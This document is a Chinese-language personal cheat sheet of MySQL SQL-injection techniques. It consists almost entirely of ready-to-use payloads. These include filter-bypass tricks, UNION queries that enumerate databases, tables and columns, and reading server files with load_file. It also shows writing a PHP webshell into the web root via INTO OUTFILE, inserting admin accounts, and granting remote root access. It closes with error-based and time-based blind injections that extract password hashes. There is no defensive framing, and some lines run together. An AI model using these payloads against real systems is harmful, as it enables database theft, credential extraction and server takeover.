sql注入（筆記）
mysql注入
一般注入，select注入
1.註釋符號
#
/*
--2.過濾空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多條顯示
concat()
group_concat()
concat_ws() #0x7c 放在第一個 資料被 “|”隔開
4.一些相關函式
system_user() 系統使用者名稱
user() 使用者名稱
current_user 當前使用者名稱
session_user()連線資料庫的使用者名稱
database() 資料庫名
version() MYSQL資料庫版本
load_file() MYSQL讀取本地檔案的函式
@@datadir 讀取資料庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 作業系統 Windows Server 2003
GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
5.mysql一般注入語句
a）猜欄位數
order by n/*b）檢視mysql基本資訊
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7 /*c）查詢資料庫
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1 d）查詢表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=資料庫的16進位制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where e）查詢欄位
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進位制編碼 and table_schema=資料庫的16進位制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進位制編碼 and table_schema=資料庫的16進位制編碼/*資料庫的16進位制編碼可以使用 加上引號實現“ ”
f）查詢資料
and 1=2 union select 1,2,3,欄位1,5,欄位2,7,8 from 資料庫.表/*
判斷是否具有讀寫許可權
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*6.mysql讀取寫入檔案
必備條件：
讀：file許可權必備
寫：1.絕對路徑 2.union使用 3. 可以使用”
————————-讀———————-
mysql3.x讀取方法
create table a(cmd text);
load data infile ‘c:\xxx\xxx\xxx.txt’ into table a;
select * from a;
mysql4.x讀取方法
除上述方法還可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file(‘c:\ddd\ddd\ddd.txt’));
select * from a;
mysql5.x讀取方法
上述兩種都可以
讀取檔案技巧：
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
————寫————————–
into outfile寫檔案
union select 1,2,3,char(這裡寫入你轉換成10進位制或16進位制的一句話木馬程式碼),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
0x01 mysql一般注入(insert、update)
mysql一般請求mysql_query不支援多語句執行，mysqli可以。
insert注入多使用報錯注入!
1.如果可以直接插入管理員可以直接使用!
insert into user(username,password) values(‘xxxx’,’ xxxx’),(‘dddd’,’dddd’)/* ‘);
2.如果可以插入一些資料，這些資料會在網頁中顯示，我們可以結合xxs和csrf來獲取cookies或getshell
update注入同上
0x02 mysql報錯注入
- and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
語句處填入一般一句，如：SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
- and+1=(select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)–
3.update web_ids set host=’www.0x50sec.org’ where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql一般盲注
使用ascii
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正則表示式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=”blind_sqli” AND table_name REGEXP ‘^[a-n]’ LIMIT 0,1)
0x04 mysql時間盲注
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode(‘msg’,’by 5 seconds’)),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’
0x05 mysql其他注入技巧
以後遇見了更新
0x06 mysql資料庫版本特性
mysql5.0以後 information.schema庫出現
mysql5.1以後 udf 匯入xx\lib\plugin\ 目錄下
3.mysql5.x以後 system執行命令